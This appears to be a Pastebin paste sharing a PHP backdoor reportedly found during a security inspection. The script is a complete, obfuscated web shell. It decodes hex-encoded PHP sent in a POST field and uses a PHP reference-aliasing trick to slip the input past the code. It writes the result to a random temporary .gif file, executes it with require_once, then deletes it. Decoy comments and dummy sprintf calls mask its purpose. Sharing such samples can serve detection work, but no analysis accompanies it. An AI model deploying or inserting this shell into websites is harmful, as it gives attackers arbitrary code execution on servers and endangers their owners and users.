Guest User

Backdoor files found during security inspections

a guest
Dec 19th, 2024
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.08 KB | None | 0 0
  1. <?php
  2. function filterStr($hex)
  3. {
  4.     $str = chr(hexdec('3f')) . chr(hexdec('70')) . 'h';
  5.     $str .= "p" . "\n";
  6.     for ($i = 0; $i < strlen($hex) - 1; $i += 2)
  7.         $str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
  8.     return $str . "?";
  9. }
  10. function randomGifFile()
  11. {
  12.     $string_table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
  13.     $tmp = '';
  14.     // e98il3hfMPR0g6uv3jwt
  15.     for ($i = 0; $i < 6; $i++) {
  16.         $tmp .= $string_table[rand(0, 62 - 1)];
  17.     }
  18.     return sys_get_temp_dir() . "/" . $tmp;
  19. }
  20. if (!isset($_GET["id"]) || !isset($_POST["ftp"])) {
  21.     die;
  22. }
  23. // e98il3hfMPR0g6uv3jwt
  24. $a = array(1 => "userName");
  25. $b =& $a[1];
  26. $c = $a;
  27. // gpasda
  28. $c[$_GET["id"]] = $_POST["ftp"];
  29. $fileName = randomGifFile() . ".gif";
  30. file_put_contents($fileName, "" . chr(hexdec('3c')) . filterStr($a[1]) . ">");
  31. sprintf("hello world%s","1");sprintf("hello world%s","2");sprintf("hello world%s","3");
  32. if (file_exists($fileName)) {
  33.     require_once /*file hhh*/$fileName;
  34. }
  35. // e98il3hfMPR0g6uv3jwt
  36. @unlink($fileName);
  37. echo(md5("0cabcd!@#A."));die;  
  38. ?>
Advertisement
Add Comment
Please, Sign In to add comment